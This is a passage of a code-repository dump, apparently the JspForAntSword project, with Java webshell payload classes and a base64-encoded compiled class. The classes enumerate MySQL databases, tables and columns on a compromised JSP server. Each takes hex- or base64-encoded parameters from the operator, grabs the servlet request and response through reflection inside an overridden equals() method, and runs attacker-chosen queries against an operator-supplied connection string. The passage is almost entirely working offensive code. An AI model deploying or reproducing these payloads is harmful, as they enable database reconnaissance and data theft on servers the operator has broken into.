dsAAAAAEAaQAAAA4AAwAAAIUABACGAAgAhwB1AAAABAABAA8AAQCCAAAAAgCD -------------------------------------------------------------------------------- /MysqlShowColumns.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/MysqlShowColumns.class -------------------------------------------------------------------------------- /MysqlShowColumns.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.lang.reflect.Field; 6 | import java.sql.*; 7 | 8 | public class MysqlShowColumns { 9 | public HttpServletRequest request = null; 10 | public HttpServletResponse response = null; 11 | public String encoder; 12 | public String cs; 13 | 14 | @Override 15 | public boolean equals(Object obj) { 16 | if (obj instanceof PageContext) { 17 | PageContext page = (PageContext) obj; 18 | request = (HttpServletRequest) page.getRequest(); 19 | response = (HttpServletResponse) page.getResponse(); 20 | } else if (obj instanceof HttpServletRequest) { 21 | request = (HttpServletRequest) obj; 22 | try { 23 | Field req = request.getClass().getDeclaredField("request"); 24 | req.setAccessible(true); 25 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 26 | Field resp = request2.getClass().getDeclaredField("response"); 27 | resp.setAccessible(true); 28 | response = (HttpServletResponse) resp.get(request2); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } else if (obj instanceof HttpServletResponse) { 34 | response = (HttpServletResponse) obj; 35 | try { 36 | Field resp = response.getClass().getDeclaredField("response"); 37 | resp.setAccessible(true); 38 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 39 | Field req = response2.getClass().getDeclaredField("request"); 40 | req.setAccessible(true); 41 | request = (HttpServletRequest) req.get(response2); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 47 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 48 | StringBuffer output = new StringBuffer(""); 49 | StringBuffer sb = new StringBuffer(""); 50 | try { 51 | response.setContentType("text/html"); 52 | request.setCharacterEncoding(cs); 53 | response.setCharacterEncoding(cs); 54 | String var0 = EC(decode(request.getParameter("var0") + "")); 55 | String var1 = EC(decode(request.getParameter("var1") + "")); 56 | String var2 = EC(decode(request.getParameter("var2") + "")); 57 | String var3 = EC(decode(request.getParameter("var3") + "")); 58 | 59 | output.append("->" + "|"); 60 | sb.append(showColumns(var0, var1, var2, var3)); 61 | output.append(sb.toString()); 62 | output.append("|" + "<-"); 63 | response.getWriter().print(output.toString()); 64 | } catch (Exception e) { 65 | sb.append("ERROR" + ":// " + e.toString()); 66 | } 67 | return true; 68 | } 69 | 70 | String EC(String s) throws Exception { 71 | if (encoder.equals("hex")) return s; 72 | return new String(s.getBytes(), cs); 73 | } 74 | 75 | String decode(String str) throws Exception { 76 | if (encoder.equals("hex")) { 77 | if (str == null || str.equals("")) { 78 | return ""; 79 | } 80 | String hexString = "0123456789ABCDEF"; 81 | str = str.toUpperCase(); 82 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 83 | String ss = ""; 84 | for (int i = 0; i < str.length(); i += 2) { 85 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 86 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 87 | } 88 | return baos.toString("UTF-8"); 89 | } else if (encoder.equals("base64")) { 90 | byte[] bt = null; 91 | try { 92 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 93 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 94 | } catch (ClassNotFoundException e) { 95 | Class clazz = Class.forName("java.util.Base64"); 96 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 97 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 98 | } 99 | return new String(bt, "UTF-8"); 100 | } 101 | return str; 102 | } 103 | 104 | String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) 105 | throws Exception { 106 | String ret = ""; 107 | conn = (EC(conn)); 108 | String[] x = conn.trim().replace("\r\n", "\n").split("\n"); 109 | Class.forName(x[0].trim()); 110 | String url = x[1] + "&characterEncoding=" + encode; 111 | Connection c = DriverManager.getConnection(url); 112 | Statement stmt = c.createStatement(); 113 | ResultSet rs = stmt.executeQuery(sql); 114 | ResultSetMetaData rsmd = rs.getMetaData(); 115 | 116 | if (needcoluname) { 117 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 118 | String columnName = rsmd.getColumnName(i); 119 | ret += columnName + columnsep; 120 | } 121 | ret += rowsep; 122 | } 123 | 124 | while (rs.next()) { 125 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 126 | String columnValue = rs.getString(i); 127 | ret += columnValue + columnsep; 128 | } 129 | ret += rowsep; 130 | } 131 | return ret; 132 | } 133 | 134 | String showColumns(String encode, String conn, String dbname, String table) throws Exception { 135 | String columnsep = "\t"; 136 | String rowsep = ""; 137 | String sql = "select * from " + dbname + "." + table + " limit 0,0"; 138 | return executeSQL(encode, conn, sql, columnsep, rowsep, true); 139 | } 140 | 141 | } 142 | -------------------------------------------------------------------------------- /MysqlShowDatabases.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/MysqlShowDatabases.class -------------------------------------------------------------------------------- /MysqlShowDatabases.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.lang.reflect.Field; 6 | import java.sql.*; 7 | 8 | public class MysqlShowDatabases { 9 | public HttpServletRequest request = null; 10 | public HttpServletResponse response = null; 11 | public String encoder; 12 | public String cs; 13 | 14 | @Override 15 | public boolean equals(Object obj) { 16 | if (obj instanceof PageContext) { 17 | PageContext page = (PageContext) obj; 18 | request = (HttpServletRequest) page.getRequest(); 19 | response = (HttpServletResponse) page.getResponse(); 20 | } else if (obj instanceof HttpServletRequest) { 21 | request = (HttpServletRequest) obj; 22 | try { 23 | Field req = request.getClass().getDeclaredField("request"); 24 | req.setAccessible(true); 25 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 26 | Field resp = request2.getClass().getDeclaredField("response"); 27 | resp.setAccessible(true); 28 | response = (HttpServletResponse) resp.get(request2); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } else if (obj instanceof HttpServletResponse) { 34 | response = (HttpServletResponse) obj; 35 | try { 36 | Field resp = response.getClass().getDeclaredField("response"); 37 | resp.setAccessible(true); 38 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 39 | Field req = response2.getClass().getDeclaredField("request"); 40 | req.setAccessible(true); 41 | request = (HttpServletRequest) req.get(response2); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 47 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 48 | StringBuffer output = new StringBuffer(""); 49 | StringBuffer sb = new StringBuffer(""); 50 | try { 51 | response.setContentType("text/html"); 52 | request.setCharacterEncoding(cs); 53 | response.setCharacterEncoding(cs); 54 | String var0 = EC(decode(request.getParameter("var0") + "")); 55 | String var1 = EC(decode(request.getParameter("var1") + "")); 56 | output.append("->" + "|"); 57 | sb.append(showDatabases(var0, var1)); 58 | output.append(sb.toString()); 59 | output.append("|" + "<-"); 60 | response.getWriter().print(output.toString()); 61 | } catch (Exception e) { 62 | sb.append("ERROR" + ":// " + e.toString()); 63 | } 64 | return true; 65 | } 66 | 67 | String EC(String s) throws Exception { 68 | if (encoder.equals("hex")) return s; 69 | return new String(s.getBytes(), cs); 70 | } 71 | 72 | String decode(String str) throws Exception { 73 | if (encoder.equals("hex")) { 74 | if (str == null || str.equals("")) { 75 | return ""; 76 | } 77 | String hexString = "0123456789ABCDEF"; 78 | str = str.toUpperCase(); 79 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 80 | String ss = ""; 81 | for (int i = 0; i < str.length(); i += 2) { 82 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 83 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 84 | } 85 | return baos.toString("UTF-8"); 86 | } else if (encoder.equals("base64")) { 87 | byte[] bt = null; 88 | try { 89 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 90 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 91 | } catch (ClassNotFoundException e) { 92 | Class clazz = Class.forName("java.util.Base64"); 93 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 94 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 95 | } 96 | return new String(bt, "UTF-8"); 97 | } 98 | return str; 99 | } 100 | 101 | String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) 102 | throws Exception { 103 | String ret = ""; 104 | conn = (EC(conn)); 105 | String[] x = conn.trim().replace("\r\n", "\n").split("\n"); 106 | Class.forName(x[0].trim()); 107 | String url = x[1] + "&characterEncoding=" + encode; 108 | Connection c = DriverManager.getConnection(url); 109 | Statement stmt = c.createStatement(); 110 | ResultSet rs = stmt.executeQuery(sql); 111 | ResultSetMetaData rsmd = rs.getMetaData(); 112 | 113 | if (needcoluname) { 114 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 115 | String columnName = rsmd.getColumnName(i); 116 | ret += columnName + columnsep; 117 | } 118 | ret += rowsep; 119 | } 120 | 121 | while (rs.next()) { 122 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 123 | String columnValue = rs.getString(i); 124 | ret += columnValue + columnsep; 125 | } 126 | ret += rowsep; 127 | } 128 | return ret; 129 | } 130 | 131 | String showDatabases(String encode, String conn) throws Exception { 132 | String sql = "show databases"; 133 | String columnsep = "\t"; 134 | String rowsep = ""; 135 | return executeSQL(encode, conn, sql, columnsep, rowsep, false); 136 | } 137 | 138 | } 139 | -------------------------------------------------------------------------------- /MysqlShowDatabases.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIBLAoARgCECQBeAIUJAF4AhgcAhwoABACIBwCJCgAEAIoHAIsKAEYAjAgAXwoAQwCNCgCOAI8KAI4AkAgAYQcAkQoADwCSCABjCwAGAJMIAJQJAF4AlQgAlggAlwkAXgCYBwCZCgAYAJoIAJsLAAgAnAsABgCdCwAIAJ0HAJ4KAB4AhAgAnwoAHgCgCgAeAKEKAF4AogoAXgCjCACkCAClCgAYAKYKAF4ApwoAGAChCACoCwAIAKkKAKoAqwgArAoADwChCACtCgAxAK4HAK8KADEAsAoAMQCxCACyCgAxALMHALQKADEAtQoANgC2CgAxALcKADEAuAoAHgC5CAC6CgA2ALsKADYAvAgAvQgAvgoAQwC/CADABwDBCgBDAMIKAEMAwwcAxAoAxQDGBwDHBwDICADJCADKCAB2CgAxAMsIAMwIAM0KADEAzgoAMQDPCADQCgDRANILANMA1AsA1QDWCwDXANgLANkA2gsA2QDbCwDXANwLANcA3QgA3ggA3woAXgDgBwDhAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2VuY29kZXIBABJMamF2YS9sYW5nL1N0cmluZzsBAAJjcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwCRBwDhBwDhBwDEBwCvBwCZAQACRUMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHALQHAMgBAApleGVjdXRlU1FMAQBvKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO1opTGphdmEvbGFuZy9TdHJpbmc7BwDiBwDjBwDkBwDlBwDmAQANc2hvd0RhdGFiYXNlcwEAOChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEAF015c3FsU2hvd0RhdGFiYXNlcy5qYXZhDABmAGcMAF8AYAwAYQBiAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAOcA6AEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMAOkA6gEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDADrAOwMAO0A7gcA7wwA8ADxDADyAPMBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAD0AGcMAPUAdAEAAAwAYwBkAQAHY2hhcnNldAEABVVURi04DABlAGQBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyDABmAPYBAAl0ZXh0L2h0bWwMAPcA9gwA+AD2AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAR2YXIwDAD5APoMAPsA/AwAdgB0DABzAHQBAAR2YXIxAQADLT58DAD5AP0MAIAAgQEAA3w8LQwA/gD/BwEADAEBAPYBAAlFUlJPUjovLyABAANoZXgMAGoAawEAEGphdmEvbGFuZy9TdHJpbmcMAQIBAwwAZgEEAQAQMDEyMzQ1Njc4OUFCQ0RFRgwBBQD8AQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAQYBBwwAZgEIDAEJAQoMAQsBDAwA+QENAQABLAwBDgEIDAD7AHQBAAZiYXNlNjQBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDAEPARABAAxkZWNvZGVCdWZmZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAREBEgwBEwEUAQAQamF2YS9sYW5nL09iamVjdAcBFQwBFgEXAQACW0IBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXREZWNvZGVyDAEYAPwBAAINCgEAAQoMARkBGgwBGwEcAQATJmNoYXJhY3RlckVuY29kaW5nPQcBHQwBHgEfBwDjDAEgASEHAOQMASIBIwcA5QwBJAElBwDmDAEmAQcMAScBKAwBKQEqDAErASgBAA5zaG93IGRhdGFiYXNlcwEAAQkMAHkAegEAEk15c3FsU2hvd0RhdGFiYXNlcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyAQANZ2V0Q29ubmVjdGlvbgEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAPY3JlYXRlU3RhdGVtZW50AQAWKClMamF2YS9zcWwvU3RhdGVtZW50OwEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsBAAtnZXRNZXRhRGF0YQEAHigpTGphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhOwEADmdldENvbHVtbkNvdW50AQANZ2V0Q29sdW1uTmFtZQEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEABG5leHQBAAMoKVoBAAlnZXRTdHJpbmcAIQBeAEYAAAAEAAEAXwBgAAAAAQBhAGIAAAABAGMAZAAAAAEAZQBkAAAABgABAGYAZwABAGgAAAAvAAIAAQAAAA8qtwABKgG1AAIqAbUAA7EAAAABAGkAAAAOAAMAAAAIAAQACQAJAAoAAQBqAGsAAQBoAAADLAAFAAYAAAHwK8EABJkAISvAAARNKiy2AAXAAAa1AAIqLLYAB8AACLUAA6cArCvBAAaZAFIqK8AABrUAAiq0AAK2AAkSCrYAC00s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 -------------------------------------------------------------------------------- /MysqlShowTables.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/MysqlShowTables.class -------------------------------------------------------------------------------- /MysqlShowTables.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.lang.reflect.Field; 6 | import java.sql.*; 7 | 8 | public class MysqlShowTables { 9 | public HttpServletRequest request = null; 10 | public HttpServletResponse response = null; 11 | public String encoder; 12 | public String cs; 13 | 14 | @Override 15 | public boolean equals(Object obj) { 16 | if (obj instanceof PageContext) { 17 | PageContext page = (PageContext) obj; 18 | request = (HttpServletRequest) page.getRequest(); 19 | response = (HttpServletResponse) page.getResponse(); 20 | } else if (obj instanceof HttpServletRequest) { 21 | request = (HttpServletRequest) obj; 22 | try { 23 | Field req = request.getClass().getDeclaredField("request"); 24 | req.setAccessible(true); 25 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 26 | Field resp = request2.getClass().getDeclaredField("response"); 27 | resp.setAccessible(true); 28 | response = (HttpServletResponse) resp.get(request2); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } else if (obj instanceof HttpServletResponse) { 34 | response = (HttpServletResponse) obj; 35 | try { 36 | Field resp = response.getClass().getDeclaredField("response"); 37 | resp.setAccessible(true); 38 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 39 | Field req = response2.getClass().getDeclaredField("request"); 40 | req.setAccessible(true); 41 | request = (HttpServletRequest) req.get(response2); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 47 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 48 | StringBuffer output = new StringBuffer(""); 49 | StringBuffer sb = new StringBuffer(""); 50 | try { 51 | response.setContentType("text/html"); 52 | request.setCharacterEncoding(cs); 53 | response.setCharacterEncoding(cs); 54 | String var0 = EC(decode(request.getParameter("var0") + "")); 55 | String var1 = EC(decode(request.getParameter("var1") + "")); 56 | String var2 = EC(decode(request.getParameter("var2") + "")); 57 | output.append("->" + "|"); 58 | sb.append(showTables(var0, var1, var2)); 59 | output.append(sb.toString()); 60 | output.append("|" + "<-"); 61 | response.getWriter().print(output.toString()); 62 | } catch (Exception e) { 63 | sb.append("ERROR" + ":// " + e.toString()); 64 | } 65 | return true; 66 | } 67 | 68 | String EC(String s) throws Exception { 69 | if (encoder.equals("hex")) return s; 70 | return new String(s.getBytes(), cs); 71 | } 72 | 73 | String decode(String str) throws Exception { 74 | if (encoder.equals("hex")) { 75 | if (str == null || str.equals("")) { 76 | return ""; 77 | } 78 | String hexString = "0123456789ABCDEF"; 79 | str = str.toUpperCase(); 80 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 81 | String ss = ""; 82 | for (int i = 0; i < str.length(); i += 2) { 83 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 84 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 85 | } 86 | return baos.toString("UTF-8"); 87 | } else if (encoder.equals("base64")) { 88 | byte[] bt = null; 89 | try { 90 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 91 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 92 | } catch (ClassNotFoundException e) { 93 | Class clazz = Class.forName("java.util.Base64"); 94 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 95 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 96 | } 97 | return new String(bt, "UTF-8"); 98 | } 99 | return str; 100 | } 101 | 102 | String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) 103 | throws Exception { 104 | String ret = ""; 105 | conn = (EC(conn)); 106 | String[] x = conn.trim().replace("\r\n", "\n").split("\n"); 107 | Class.forName(x[0].trim()); 108 | String url = x[1] + "&characterEncoding=" + encode; 109 | Connection c = DriverManager.getConnection(url); 110 | Statement stmt = c.createStatement(); 111 | ResultSet rs = stmt.executeQuery(sql); 112 | ResultSetMetaData rsmd = rs.getMetaData(); 113 | 114 | if (needcoluname) { 115 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 116 | String columnName = rsmd.getColumnName(i); 117 | ret += columnName + columnsep; 118 | } 119 | ret += rowsep; 120 | } 121 | 122 | while (rs.next()) { 123 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 124 | String columnValue = rs.getString(i); 125 | ret += columnValue + columnsep; 126 | } 127 | ret += rowsep; 128 | } 129 | return ret; 130 | } 131 | 132 | String showTables(String encode, String conn, String dbname) throws Exception { 133 | String sql = "show tables from " + dbname; 134 | String columnsep = "\t"; 135 | String rowsep = ""; 136 | return executeSQL(encode, conn, sql, columnsep, rowsep, false); 137 | } 138 | 139 | } 140 | -------------------------------------------------------------------------------- /OracleQuery.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/OracleQuery.class -------------------------------------------------------------------------------- /OracleQuery.java: 